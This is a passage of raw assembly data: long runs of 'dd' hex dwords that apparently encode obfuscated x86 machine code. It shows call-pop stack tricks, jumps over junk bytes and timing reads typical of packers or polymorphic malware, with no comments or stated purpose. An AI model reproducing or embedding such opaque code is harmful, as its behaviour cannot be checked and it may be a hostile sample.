		dd 138E0Fh, 0EE90000h, 0DF000000h, 0A50DFE6Fh, 0AD6D734Dh
		dd 8BA8D650h, 615A5157h, 840FC00Bh, 8Ch, 0ECF68166h, 89BD8D2Fh
		dd 89061D4Ch, 1D2E1195h, 0D18D8906h, 0B8061D17h, 5, 0FFF18B66h
		dd 12E8E7h, 699D0000h, 5A250255h, 0F819C7F2h, 5CEA5CD5h
		dd 4AC343F1h, 77F68166h, 8B575EE3h, 8B10245Ch, 0B883h
		dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 1C9B50Bh, 6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 4E307AC3h, 0BEF08B24h
		dd 1EC5B792h, 8EE9CA2Bh, 6AFFFFF6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0D74FC353h
		dd 69A1D681h, 0C18B5CCAh, 28E0Fh, 0F78B0000h, 4EBh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0BA66B9C3h, 2F3AE590h, 66D80B4Ah, 8166F28Bh,	8D9052C7h
		dd 1D042185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 7EBE8750h, 0BDB240F8h, 0B1B58BB5h
		dd 90061D14h, 90F88B50h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 2AC35747h, 897BFAABh,	1D15D1BDh, 8B006A06h
		dd 1D1369B5h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 3EE5C353h, 0DE97Dh
		dd 0E0100000h, 0D20DAD18h, 1965609Ch, 8D0A62CEh, 20E28985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 55F89925h, 0B5099D0Bh, 61D1481h,	5005C083h
		dd 310F5250h, 5AF18B66h, 24048958h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 44C35747h, 0CC2C8927h, 9BF943C7h
		dd 0E5853189h, 8B061D15h, 1D1219BDh, 6A006A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8CEC356h, 8332ECD5h,	8B66AC12h, 15BD01F7h, 6A061D20h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 2B8637B1h, 2B35B589h, 95FF061Dh,	61D2A39h
		dd 1915BD09h, 9D8D061Dh, 6209535h, 8E8h, 1DE2AA00h, 54B78827h
		dd 0ADBD8B13h, 5F061D1Bh, 0B589D3FFh, 61D08A9h,	1BC185FFh
		dd 6A061Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0BFA92CC3h, 62C78166h, 72FE932h, 0E80000h
		dd 5D000000h, 0E293ED81h, 6A0620h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 590AFDC3h, 8E9BD81h
		dd 7D0061Dh, 860F0000h,	13Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0AEC35747h,	0BD9460A5h, 19559D8Bh
		dd 8589061Dh, 61D0699h,	100E381h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0E78877C3h
		dd 0BD8BD943h, 61D0491h, 850FDB0Bh, 8Dh, 0BD83F08Bh, 620E0AAh
		dd 63840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 51F7C357h, 0F94CB0E6h
		dd 339CC9Eh, 1D2CBDB5h,	88C0F06h, 50000000h, 3AD8D89h
		dd 0E95E061Dh, 51h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 61C35646h, 295B191h, 869B58Bh, 85C7061Dh
		dd 620E0AAh, 1,	0BBDB589h, 16E9061Dh, 8B000000h, 1D1B9DB5h
		dd 0AA85C706h, 620E0h, 8B000000h, 1D0361BDh, 559D8D06h
		dd 8B061D19h, 1D3359B5h, 193ABE06h, 23812639h, 0FFFFFEFFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C0C35646h
		dd 0D4F8E2A7h, 8B8323ECh, 1D11E9B5h, 0DB8C6606h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D0C35242h, 90A55E49h
		dd 0DD4941E6h, 8E986h, 47E40000h, 356C38BDh, 0C3F6F67Ah
		dd 36840F04h, 89000000h, 1D21CD8Dh, 5195FF06h, 6A061D31h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 9050C355h, 0A6F8F3BEh, 8B90503Fh,	1D300DBDh
		dd 397E906h, 0B5890000h, 61D1951h, 0B50B00B0h, 61D0089h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 7A2154C3h, 1A4E4E3Ah, 8B6486B6h, 1D1201B5h
		dd 6A71E406h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8803C353h, 6AD8B60Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 46E5C355h, 66BFADC2h, 6BAFB8Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 314EC352h, 0BADB58Bh, 0C38B061Dh, 2CD9529h, 0E8C1061Dh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0B931EC82h, 0E61B9B0h, 0E2F766ECh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 52C35343h, 57458DE7h
		dd 9E9h, 928E9100h, 0D24AE4F8h,	0BE66BD03h, 0D82BBF4Ah
		dd 143D8D89h, 0E950061Dh, 0Fh, 0AF13DAFFh, 0BBB19FBAh
		dd 28AB30DDh, 89F8DE34h, 0B5FF241Ch, 61D08E9h, 6D68166h
		dd 995FFBEh, 0E8061D12h, 0Fh, 0BFE176D4h, 0A397B143h, 0A3B296F2h
		dd 663959DFh, 0EDDEE81h, 6A00B05Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0CE32C353h
		dd 8CFBF385h, 2A01B58Bh, 70E6061Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 46C35747h, 4AEBB3FCh, 0E4F28B1Fh
		dd 0DBF6671h, 0F613C77h, 1E483h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 5BC8AAE1h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6F53C357h, 9708B0E2h, 0DE109660h
		dd 0C3F9BF66h, 2BEDB58Bh, 6BA061Dh, 66000000h, 8BBBFCBEh
		dd 0ABF66C3h, 4E8C120h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0E3C35747h, 0B53157C6h, 61D2D3Dh, 2BE2F766h
		dd 8B6651D8h, 6A585FF3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1EA9C350h, 2111B523h
		dd 0D82B061Dh, 127880Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BD2BEBC3h, 61D14FDh
		dd 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B8B630Dh, 0C78166F1h
		dd 0C1832759h, 7880F00h, 57000000h, 0D58E01BEh,	0D93B5F52h
		dd 0C3860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 1180DCC3h, 2ABF3290h, 0F78B6637h
		dd 8BD98C66h, 4C1F6FEh,	87840Fh, 0EE90000h, 3000000h, 68ED2D62h
		dd 0BE8A03D1h, 5EE79D8Bh, 5195FFFBh, 0E9061D31h, 14h, 92BBA041h
		dd 39AEB283h, 9057D7D6h, 17916F98h, 0B4559372h,	0EE95Bh
		dd 0A93E0000h, 0F1068BE9h, 2D24C345h, 0FE3E74AFh, 6AC32Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 3D2AFC3h, 1D2B19B5h,	8343D06h, 860F0000h, 11h, 0E646C681h
		dd 0EE90BBDh, 9000000h,	1D017DBDh, 8BC08B06h, 1D2E65B5h
		dd 8BC38B06h, 0A1BD8BD8h, 0C7061D20h, 1D053185h, 5A051F06h
		dd 6AC08B14h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9386C357h, 97A0CDE9h, 76EA3EC8h
		dd 8E9BD81h, 7D0061Dh, 850F0000h, 28h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0F3C35141h,	8E985FFh, 0BD8B061Dh
		dd 61D1709h, 8E9B5FFh, 0B58B061Dh, 61D0961h, 120995FFh
		dd 8B60061Dh, 32FBB9F8h, 9061505Ch, 0F6B70F60h,	0F0B70F61h
		dd 81FA8B66h, 1197BCE7h, 0E5BF6660h, 0BE99Fh, 0B4200000h
		dd 0EDA0C361h, 489CFFDh, 57006A3Ch, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 9CAE3FF4h, 1259767Ch
		dd 66F08B66h, 0EC84C681h, 2C59B58Bh, 840F061Dh,	16h, 0BE9h
		dd 722EEA00h, 0CBE05984h, 0A1B185F4h, 2D499531h, 6A061Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D3E718C3h, 95297510h, 61D0005h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0DBC35242h,	0E78166FFh, 6E98636h
		dd 0F3000000h, 0AC7D8247h, 0DE8166B3h, 0BD8BF13Ch, 61D0675h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ECC35343h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 62C35242h
		dd 0D6206886h, 0BD8B11B8h, 61D1655h, 0FFF8D1E9h, 6AC18BFFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1E65C351h, 0DE9h,	106B7F00h, 16199D1Dh, 0CB76AE39h
		dd 4EB9832h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h
		dd 7A625EFCh, 0B58926FDh, 61D2B65h, 8B0Fh, 858D0000h, 61D0421h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0CAC35545h
		dd 90DCD24Dh, 6650F18Bh, 90581CBFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0AAC35040h,	1D8D0912h, 6A061D1Ch
		dd 0E9BD3100h, 51061D31h, 319B58Bh, 6A5F061Dh, 5E800h
		dd 0D3660000h, 813CF2E1h, 0FEAB54E7h, 858D5F3Eh, 620EBC4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0FFC35747h
		dd 11E9h, 0A5F4AB00h, 0B577474Eh, 52DA5C65h, 632CE645h
		dd 0C0833158h, 11E905h,	9DC80000h, 27BF6516h, 79947C5Ah
		dd 83899E5h, 90BF7EEFh,	13E85250h, 0D2000000h, 7A6978EFh
		dd 0E2E81FB2h, 6DC55923h, 3B39FD1Fh, 0BF66F754h, 0F5F633Dh
		dd 0A3BF6631h, 50585A9Bh, 5E5E5152h, 56006A90h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 5E850h, 0A8A10000h
		dd 81812CACh, 7D6EEDDFh, 6A5F47h, 6AF1B70Fh, 11BE6600h
		dd 148B0F8Ah, 0E9000000h, 0Fh, 0D8ADA52Dh, 0D21B6AFAh
		dd 0C2F2978Ah, 0FF6FEAA1h, 1D2A3995h, 8C0F6006h, 13h, 0EE9h
		dd 0EA8CB200h, 0E52EA72Ch, 17644588h, 93423CFh,	1D043585h
		dd 0B58B6106h, 61D2619h, 95359D8Dh, 9D890620h, 61D16E1h
		dd 0E856D3FFh, 0Bh, 3B73F31Dh, 0EB71F636h, 0FC2531C0h
		dd 85FF5E5Fh, 61D1BC1h,	0BFF8B70Fh, 6C36C6AAh, 8FBE9h
		dd 0E800h, 815D0000h, 20EBCEEDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0C30FFDADh
		dd 33DF3DB6h, 11BD018Eh, 66061D32h, 81BE4ABFh, 1D08E9BDh
		dd 7D006h, 92860F00h, 0FC000001h, 339D9D8Bh, 6A061Dh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D99336C3h, 0ADB63307h, 0E381412Bh, 100h, 68C0Fh, 0EE810000h
		dd 66984BECh, 850FDB0Bh, 0E4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0DFC35242h,	99E87CAEh, 0FD4F2F25h
		dd 1B3DBD8Bh, 0BD8B061Dh, 61D2111h, 0E9F0BD83h,	0F000620h
		dd 7084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 25BE6685h, 14E9F0h, 35B70000h, 0F05B2953h
		dd 441EDF32h, 9F34A7E2h, 0E76BC44Bh, 95E930CCh,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0F1BFC357h, 0B8B0Fh, 6E90000h, 0FB000000h
		dd 0E560F4Ah, 51BE661Bh, 0F085C78Ch, 10620E9h, 1000000h
		dd 1D0539B5h, 4EE906h, 0EE80000h, 5D000000h, 1BF24695h
		dd 54F1C7DAh, 6931BC25h, 0B58B60D1h, 61D1A7Dh, 1835BD8Bh
		dd 5E61061Dh, 0E9F085C7h, 620h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BF4AF7C3h
		dd 75AEE3BFh, 339D9D8Dh, 0F18B061Dh, 17D8F781h,	23811859h
		dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0B5C35242h, 0C0BB7ED3h,	33B0E1E1h, 1D2529B5h, 0DB8C6606h
		dd 0F04C3F6h, 0AF84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 50869A29h, 7AC781C9h
		dd 6635AF71h, 0FFFAE3BEh, 1D315195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F2DC0B2Eh
		dd 0DB8F6EE9h, 0B70F81DFh, 666090F8h, 5250C28Bh, 6E9h
		dd 9791EF00h, 0F306183h, 0F525031h, 5A585A31h, 0F506158h
		dd 48Ch, 0C8BE6600h, 6A90B9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8AC03EC3h, 3487B6FDh
		dd 2A8DBD8Bh, 9509061Dh, 61D32C1h, 42DE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FC71490Dh, 0B0FFB70Fh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD8B22FCh
		dd 61D07F1h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0D01F2AC3h, 0E027C57Bh, 12E9C9h
		dd 0C44C0000h, 226F139Ah, 620DBD7Ah, 83A65B47h,	0F65802E6h
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 166DEC3h,	0B58B7BA0h, 61D32F1h, 6AD8B60Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0C8C2C351h, 0A1769463h, 9FA2BE66h, 6BAh
		dd 13DE8100h, 8B2118AFh, 29B501C3h, 0C1061D00h,	0BD2B04E8h
		dd 61D2F31h, 0E9E2F766h, 0Eh, 0D1C242FBh, 0BCB4CD35h, 0B36B80B6h
		dd 0CE9DEA8h, 47000000h, 634A77A6h, 0F1D3369Eh,	2B29B4E8h
		dd 0F38B50D8h, 6A241C89h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0DEDDC353h,	879F20A7h
		dd 0B58B1817h, 61D1B1Dh, 258D8956h, 5F061D21h, 8E9B5FFh
		dd 95FF061Dh, 61D1209h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 80C35242h, 84B4D580h,	45B58BABh, 0B0061D04h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B55FA45h, 6A70E6FEh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E131C356h
		dd 1DF7060h, 1D0BF185h,	6A71E406h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 2604C353h
		dd 61DAE570h, 0CD5E6169h, 1245BD89h, 613C061Dh,	22C830Fh
		dd 8F0F0000h, 3, 66F3BF0Fh, 0FA23ABFh, 6AD8B6h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 952999C3h, 61D2C91h,	6BAh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0A9BE6E50h
		dd 8B6FB926h, 0FC38BF7h, 0E81h,	8D296000h, 61D056Dh, 17E1B589h
		dd 8B61061Dh, 4E8C1F1h,	0F766F18Bh, 50006AE2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 817226A6h
		dd 1A036AE6h, 59958975h, 2B061D1Ch, 0F9BD8BD8h,	58061D21h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4CC35040h
		dd 692EC3C7h, 0D82B6480h, 154880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 12B933C3h
		dd 30E1B58Bh, 7B9061Dh,	0BE000000h, 1238B7EEh, 0F00C183h
		dd 0BD8BF0B7h, 61D325Dh, 860FD93Bh, 112h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0EEC35242h, 1B00AF79h
		dd 66E1B930h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 9D3F39C3h, 0C1F6FC73h, 9D840F04h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0D67C355h, 8D893E14h, 61D2941h
		dd 315195FFh, 6A5B061Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 4777C355h, 0B70FAF16h
		dd 45F681F8h, 2B0E2BEFh, 3D9D89C3h, 3D061D0Ch, 834h, 36860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 267B8C3h,	0DF81CF8Fh, 2FCEDDABh, 0E35EB7BEh
		dd 2CE96Eh, 85890000h, 61D1C11h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 3B25EDC3h
		dd 0BCE2070h, 0C38BCC3Ch, 0C7F8D88Bh, 1D195585h, 0F4B7B106h
		dd 55006A14h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0D588D5BCh, 8152606Ch, 0E76B6BC7h, 0C08B5F07h
		dd 148E0Fh, 0DE80000h, 0E6000000h, 0C674F779h, 0FD14BAA2h
		dd 1FB789D0h, 0BD815FFCh, 61D08E9h, 7D0h, 4B850Fh, 870F0000h
		dd 15h,	0EE956h, 0E0D20000h, 383034CAh,	0EB5B3A69h, 86E4E412h
		dd 0E985FF5Eh, 6A061D08h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 279EC357h, 99B58BB3h
		dd 8B061D25h, 1D037DBDh, 0E9B5FF06h, 89061D08h,	1D32E1BDh
		dd 995FF06h, 6A061D12h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3982C356h, 8C0F64F2h
		dd 5, 31CE8166h, 6A904Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0F8ADB1C3h, 0D3EC7DBEh
		dd 57006A4Ch, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 820FD139h, 9, 29FA8B66h,	1D04659Dh, 59BD8B06h
		dd 6A061D32h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 1768C355h, 13E894B3h, 0C8000000h
		dd 0F0BCAE1Fh, 0B5920DEDh, 25910D92h, 2ED2F797h, 0BF0F776Ah
		dd 0F88B5EF6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0FDC35242h, 0FBA3EE17h,	0B5B589DCh, 0E8061D30h
		dd 8, 0EE9953A5h, 9AD1212Dh, 91BD895Eh,	6A061D03h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0AF2C353h, 0B6EE8166h, 0FDB58B6Bh, 0F5061D1Ah, 8BF98B66h
		dd 1D0325B5h, 0FE906h, 0C5030000h, 7DCAE7Fh, 9DE6541Ch
		dd 1CADE154h, 0F733E9FAh, 0B58BFFFFh, 61D30CDh,	0A18D8960h
		dd 0F061D1Bh, 68Eh, 0C5950900h,	61061D13h, 6A4FEF81h, 9E9681Eh
		dd 86000000h, 0E3F2FE1Ah, 185F7AB4h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E8760DC3h
		dd 10ECD303h, 0EB5E5254h, 4, 0BE900h, 532C0000h, 0FC1FE676h
		dd 0E19872DAh, 0D3E78189h, 6605BDDEh, 96E9CF81h, 421858Dh
		dd 8166061Dh, 90F788CEh, 0BF50F18Bh, 1ABAAC14h,	6A006A90h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0A218C357h, 0D1C77A8Ch, 0F8E2A7C0h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 8FD489C3h, 64068461h, 89BBE8DEh, 1D01C98Dh, 1858D06h
		dd 0E80620F7h, 9, 26287DE6h, 7AA39FDCh,	0B9CF8154h, 5E353937h
		dd 6A05C083h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 6F12C357h, 770545CBh, 66C1F563h
		dd 5033C8BEh, 0FE953h, 6C150000h, 0ABB33CA0h, 26025C2Dh
		dd 13B1E756h, 4895F4Ch,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 5173716Eh, 815DBD4Ah
		dd 11E9953Fh, 14000000h, 0DEA475AFh, 17D9C3A8h,	579785EAh
		dd 7576B050h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0E0E601C3h, 0DD91559Eh, 0E681915Eh
		dd 3654F236h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5A6850C3h, 3995FF67h, 6A061D2Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0CE68C357h, 2814E7C3h, 11E957h, 0DC30000h
		dd 49F14298h, 248D34ADh, 1A9F7D47h, 8D4A9FEDh, 2095359Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 870F9BE5h, 0
		dd 0BD8BD3FFh, 61D04A5h, 1BC185FFh, 6A061Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 2E4C2FC3h
		dd 60F5687Ch, 2735858Bh, 8529061Dh, 61D2CB5h, 989E961h
		dd 0E80000h, 5D000000h,	0F70BED81h, 81660620h, 81CF90DEh
		dd 1D08E9BDh, 7D006h, 71860F00h, 0F000001h, 13E8F9BFh
		dd 85000000h, 3AA6A23h,	275EFB15h, 2D1F9DF3h, 8DBE34C8h
		dd 12E85B96h, 0ED000000h, 0FE282548h, 0AF7E5FF0h, 5BFF01BFh
		dd 743141FEh, 0DE8A8h, 80B50000h, 0AD331430h, 1B4309C6h
		dd 5FF01DD5h, 9D8B5F5Eh, 61D02E5h, 2F759D89h, 0E381061Dh
		dd 100h, 0E8F0Fh, 89600000h, 1D2A298Dh,	559D8906h, 61061D0Fh
		dd 850FDB0Bh, 99h, 10860F57h, 0E9000000h, 0Bh, 0AF174449h
		dd 5BA2C1DEh, 5EEEA373h, 0F4EDBD83h, 0F000620h,	2784h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0F03BA54Bh, 0E9359352h, 7Bh, 0F4ED85C7h
		dd 10620h, 8D890000h, 61D006Dh,	66E9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0F7A7E30h, 689h, 7DB58B00h, 0E9061D07h, 9, 41CF2579h
		dd 1207C290h, 0ED85C708h, 620F4h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0F94C351h, 0D816C6F0h, 8D9ECE5Dh, 1D02E59Dh,	7ABBBE06h
		dd 23814C09h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 61C35242h, 0C6816879h, 5C3C9F35h, 6ADB8C66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0CBB2C353h, 1B9E2E9Eh, 0F182AE6h,	78Fh, 81665100h
		dd 5F86C0E7h, 0F04C3F6h, 0AE84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6675A6B5h
		dd 0BD8BF28Bh, 61D2739h, 315195FFh, 6A061Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9E5B5FC3h
		dd 193AB7BEh, 618589B5h, 66061D13h, 5AFBC781h, 50605790h
		dd 5A310F52h, 9FBA6658h, 505F616Dh, 0F3BF5250h,	0F60926Bh
		dd 0FE07BE31h, 585A6171h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0ECA5251h
		dd 0AA1DB747h, 0CEBFC47Ch, 6612ACF8h, 661FF2BEh, 0E94793BFh
		dd 4C8h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	8AC35545h, 0B563B7ADh, 41958960h, 53061D19h, 11E8h
		dd 45A8C000h, 0BE553DC4h, 15DAB13Ch, 4B70AC4Ch,	5A58BC17h
		dd 6A00B061h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 6AB3C353h, 70E610DAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 96C35141h, 227F7D2h
		dd 8E9h, 41C2D200h, 182DEF8Dh, 0F59D8930h, 3061D2Eh, 1D2A09B5h
		dd 6A71E406h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2B97C356h, 11E96057h, 10000000h
		dd 44FC11B4h, 801CF398h, 7AE73951h, 0DA2C0F80h,	6E9h, 220B2400h
		dd 61344AFEh, 0FF38B5Eh, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0DBC0F5C3h, 0BEF68166h
		dd 0ADBD8BE1h, 0BA061D12h, 6, 6AC38Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 4FFCC3h, 0C1F98B66h
		dd 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 97CEF4C3h, 880F75D6h, 6, 2BC9B58Bh, 0F766061Dh
		dd 14E8E2h, 0A8A40000h,	7CC86599h, 0BC08EFE2h, 0E74DD18Ah
		dd 3D36E0CEh, 850F655Fh, 6, 3191B589h, 2B5E061Dh, 0A1BD2BD8h
		dd 0F061D11h, 0F93F6BFh, 2985h,	0E9525000h, 7, 39468A1Bh
		dd 0F0697FEh, 12E931h, 0A9DA0000h, 2780222Dh, 2F6BAC75h
		dd 14C3F5F5h, 5AE5F044h, 8B50585Ah, 0BD0B93FEh,	61D2B9Dh
		dd 8E9B5FFh, 0B589061Dh, 61D15F1h, 120995FFh, 0BD8B061Dh
		dd 61D0095h, 9818501h, 0B0061Dh, 555BD31h, 70E6061Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 56C35747h, 93010B99h
